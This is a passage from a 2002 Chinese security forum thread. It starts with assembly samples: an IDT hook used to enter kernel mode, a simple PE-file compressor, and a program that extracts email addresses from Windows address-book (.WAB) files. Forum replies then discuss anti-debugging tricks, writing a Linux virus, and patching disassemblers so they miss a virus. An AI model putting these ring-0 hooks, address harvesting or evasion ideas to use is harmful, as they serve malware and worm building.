call SetIdt03
pushad
mov [eax],ebx
mov [eax+4],edx
cld
rep movsb
popad
iret
SetIdt03:
cli
pop W[eax]
pop W[eax+6]
mov esi,Src
mov edi,Des
mov ecx,nCx
int 3;
sti
ret
MoveDataToKnl endp

end Start


5、简单算法,高效率压缩PE文件

.586p
.model flat,STDCALL
.data

OldFile db \'pe.exe\',0
NewFile db \'pe.zzz\',0

FileData db 0,0
.code
extrn _lopen: proc,_lcreat: proc
extrn _lread: proc,_lwrite: proc
extrn _lclose: proc
extrn ExitProcess: proc
start:
call _lopen,offset OldFile,0
cmp eax,-1
jz ExitProc
mov esi,eax
call _lcreat,offset NewFile,0
cmp eax,-1
jz CloseOldFile
mov edi,eax

xor ebx,ebx
ReadData:
call _lread,esi,offset FileData,1
or eax,eax
jz short ReadOver
movzx eax,FileData
or eax,eax
jnz short NoZero
inc ebx
cmp ebx,0ffh
jnz short ReadData
xor eax,eax
mov ah,bl
xchg ax,word ptr FileData
call _lwrite,edi,offset FileData,2
xor ebx,ebx
jmp short ReadData
NoZero:
or ebx,ebx
jnz short NoZeroData
call _lwrite,edi,offset FileData,1
jmp short ReadData
NoZeroData:
push eax
xor eax,eax
mov ah,bl
mov word ptr FileData,ax
call _lwrite,edi,offset FileData,2
xor ebx,ebx
pop eax
mov FileData,al
call _lwrite,edi,offset FileData,1
jmp ReadData
ReadOver:
or ebx,ebx
jz short CloseFile
xor eax,eax
mov ah,bl
xchg ax,word ptr FileData
call _lwrite,edi,offset FileData,2
xor ebx,ebx
CloseFile:
call _lclose,edi
CloseOldFile:
call _lclose,esi
ExitProc:
call ExitProcess,0

end start

6、提取Windows地址薄文件(*.WAB)的Email信息

.586p
.model flat,STDCALL
.data

MailFile db \'My.WAB\',0

.code

extrn _lopen: proc,_lcreat: proc
extrn _lread: proc,_lwrite: proc
extrn _llseek: proc
extrn _lclose: proc
extrn MessageBoxA: proc
extrn ExitProcess: proc
extrn WideCharToMultiByte: proc

start:
call _lopen,offset MailFile,0
cmp eax,-1
jz short ExitProc
mov ebx,eax
sub esp,100h
mov edi,esp
call _lread,ebx,edi,100h
cmp eax,100h
jnz short CloseFile
mov eax,[edi+60h] ;得到Unicode邮件名偏移
call _llseek,ebx,eax,0
mov ecx,[edi+64h] ;得到Unicode邮件名个数
ContWabMail:
push ecx
call _lread,ebx,edi,44h ;读一个记录
cmp eax,44
sub esp,100h
mov eax,esp
call WideCharToMultiByte,0,200h,edi,-1,eax,100h,0,0
mov eax,esp
call MessageBoxA,0,eax,eax,0
add esp,100h
pop ecx
loop short ContWabMail
CloseFile:
call _lclose,ebx
ExitProc:
call ExitProcess,0

end start



WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。
WSS 主页:http://www.whitecell.org/
WSS 论坛:http://www.whitecell.org/forum/



[编辑 -  7/11/02 by  Koms Bomb]
datongguandian@sina.com
VanCheer
驱动老牛
驱动老牛
  • 注册日期2002-02-21
  • 最后登录2003-08-28
  • 粉丝0
  • 关注0
  • 积分-20分
  • 威望-10点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
8楼#
发布于:2002-07-11 17:26
lyabcd施主,我帮你编辑了上面那个帖子,把笑脸功能去掉,这样代码中就没笑脸了
贫僧第一个病毒,也是唯一一个DOS病毒,虽然异常烂,但anti-debug的能力不错,可以做到
1,病毒初始化时锁住键盘
2,单步跟踪不久就会死机
3,断点下的不对也会死机
4,在TD里按F9一直跑,不下断点也不单步,也会死机
5,不动态改病毒代码,则无法跟踪

不过后来我开始写Win32病毒时,对anti-debug不是特别重视,研究也少了。

[编辑 -  7/11/02 by  Koms Bomb]
[img]http://www.driverdevelop.com/forum/upload/VanCheer/2003-03-21_mon.gif[/img][img]http://www.driverdevelop.com/forum/upload/VanCheer/2002-12-07_smallbaby.jpg[/img]
longge
驱动中牛
驱动中牛
  • 注册日期2002-07-10
  • 最后登录2005-06-16
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
9楼#
发布于:2002-07-11 17:31
gcc好像不能跟踪吧,在Linux下反汇编一般用objdump,这是一个
比debug功能强大的多的反汇编工具,调试用gdb,附两篇用法文章!
改反汇编软件不是不可能,我想肯定有人试过,但是太难了,需要
考虑很多东西,这比编一个病毒要麻烦!
除了记忆什么都带不走; 除了足迹什么都留不下。
VanCheer
驱动老牛
驱动老牛
  • 注册日期2002-02-21
  • 最后登录2003-08-28
  • 粉丝0
  • 关注0
  • 积分-20分
  • 威望-10点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
10楼#
发布于:2002-07-11 17:35
gcc好像不能跟踪吧,在Linux下反汇编一般用objdump,这是一个
比debug功能强大的多的反汇编工具,调试用gdb,附两篇用法文章!
改反汇编软件不是不可能,我想肯定有人试过,但是太难了,需要
考虑很多东西,这比编一个病毒要麻烦!

”改反汇编软件不是不可能“?是的,可能,但改写每个反汇编软件?有用吗?
我不和你讨论这个问题了,贫僧水平不高,但可以给你个最后结论,你这想法是误区,是行不通地
[img]http://www.driverdevelop.com/forum/upload/VanCheer/2003-03-21_mon.gif[/img][img]http://www.driverdevelop.com/forum/upload/VanCheer/2002-12-07_smallbaby.jpg[/img]
lyabcd
驱动大牛
驱动大牛
  • 注册日期2001-08-09
  • 最后登录2015-10-01
  • 粉丝0
  • 关注0
  • 积分33分
  • 威望4点
  • 贡献值0点
  • 好评度3点
  • 原创分0分
  • 专家分0分
11楼#
发布于:2002-07-11 17:44
防反真是无止境呀,呵呵
datongguandian@sina.com
longge
驱动中牛
驱动中牛
  • 注册日期2002-07-10
  • 最后登录2005-06-16
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
12楼#
发布于:2002-07-11 18:08
我个人认为,不必改所有反汇编工具,那当然不可能了
只要能成功的改一个,是它能反其他病毒,但反不了我的
我就心满意足,是病毒总会被干掉的!
大家有兴趣可以研究研究吗!!!
除了记忆什么都带不走; 除了足迹什么都留不下。
VanCheer
驱动老牛
驱动老牛
  • 注册日期2002-02-21
  • 最后登录2003-08-28
  • 粉丝0
  • 关注0
  • 积分-20分
  • 威望-10点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
13楼#
发布于:2002-07-11 18:32
我个人认为,不必改所有反汇编工具,那当然不可能了
只要能成功的改一个,是它能反其他病毒,但反不了我的
我就心满意足,是病毒总会被干掉的!
大家有兴趣可以研究研究吗!!!

一个字,费力不讨好
还是劝你不要在这方面浪费时间了,真的没用的。
[img]http://www.driverdevelop.com/forum/upload/VanCheer/2003-03-21_mon.gif[/img][img]http://www.driverdevelop.com/forum/upload/VanCheer/2002-12-07_smallbaby.jpg[/img]
longge
驱动中牛
驱动中牛
  • 注册日期2002-07-10
  • 最后登录2005-06-16
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
14楼#
发布于:2002-07-11 18:55
看来版主是极力反对我的想法了,可能是有点不切实际!
昨天我说要写Linux病毒,有人反对,今天又被反对,命苦啊!
555555555555555555555555

不过还是要谢谢大家给我的意见!

青春无限!青春无限!
除了记忆什么都带不走; 除了足迹什么都留不下。
VanCheer
驱动老牛
驱动老牛
  • 注册日期2002-02-21
  • 最后登录2003-08-28
  • 粉丝0
  • 关注0
  • 积分-20分
  • 威望-10点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
15楼#
发布于:2002-07-11 19:06
看来版主是极力反对我的想法了,可能是有点不切实际!
昨天我说要写Linux病毒,有人反对,今天又被反对,命苦啊!
555555555555555555555555

不过还是要谢谢大家给我的意见!

青春无限!青春无限!
 

我支持你写Linux病毒,非常支持,以后我还要向你讨教。
不过你说这反汇编的事,算了吧,不是反对,而是这想法会让你浪费大量时间最后又得不到结果
[img]http://www.driverdevelop.com/forum/upload/VanCheer/2003-03-21_mon.gif[/img][img]http://www.driverdevelop.com/forum/upload/VanCheer/2002-12-07_smallbaby.jpg[/img]
andrews13
驱动牛犊
驱动牛犊
  • 注册日期2002-06-28
  • 最后登录2013-05-01
  • 粉丝0
  • 关注0
  • 积分2分
  • 威望27点
  • 贡献值0点
  • 好评度7点
  • 原创分0分
  • 专家分0分
16楼#
发布于:2002-07-11 19:17
我个人认为,不必改所有反汇编工具,那当然不可能了
只要能成功的改一个,是它能反其他病毒,但反不了我的
我就心满意足,是病毒总会被干掉的!
大家有兴趣可以研究研究吗!!!

//================[0 0]=====================================
                    0
可以改掉的了,只要你在反汇编工具(防汇编工具也是程序,既然是程序肯定有函数入口),只要你从代码函数附近找到不怎么重要的那一段代码(这需要对特征码有很深研究的才能准确的找到)填入你的相应处理函数的地址就可以了)。(为程序打补丁。。。。。。。HE HE――)
//===============[KILL]====================================
longge
驱动中牛
驱动中牛
  • 注册日期2002-07-10
  • 最后登录2005-06-16
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
17楼#
发布于:2002-07-11 19:33
反病毒的人果然是高手,如果在Linux下可以用管道去实现,在
WINDOWS里不知有什么好一点,方便一点的方法?
我不懂特征码那一套东西!


青春无限!青春无限!
除了记忆什么都带不走; 除了足迹什么都留不下。
andrews13
驱动牛犊
驱动牛犊
  • 注册日期2002-06-28
  • 最后登录2013-05-01
  • 粉丝0
  • 关注0
  • 积分2分
  • 威望27点
  • 贡献值0点
  • 好评度7点
  • 原创分0分
  • 专家分0分
18楼#
发布于:2002-07-11 19:46
各位病毒大侠,有没有人深入分析过反汇编工具代码,如果有一个
病毒,会先破坏如debug之类工具的机制,然后再发作,至于如何
破坏可以讨论一下,好像很难。在Linux下,我在英文手写输入法
可执行文件中加了管道使它可以识别中文,我们可以想一些办法,让
反汇编也找不到病毒!请各位指点!

//===============[0 0]=====================================
                   0
找不到是不可能的了(你病毒要执行,那你肯定有初始化的过程,你也需要在内存中,只要你在内存那就很容易被找到(不管是有进程实体或者是成为系统一部分的病毒都能够找到的
//=============[KILL]======================================
longge
驱动中牛
驱动中牛
  • 注册日期2002-07-10
  • 最后登录2005-06-16
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
19楼#
发布于:2002-07-11 20:01
但是可以最大限度的隐藏,看来你们杀毒的对怎样在内存中找
病毒是研究很深入的啊!病毒和反病毒永远是你来我去,是分
不出胜负的,这点我想大家应该都同意吧!


青春无限!青春无限!
除了记忆什么都带不走; 除了足迹什么都留不下。
上一页
游客

返回顶部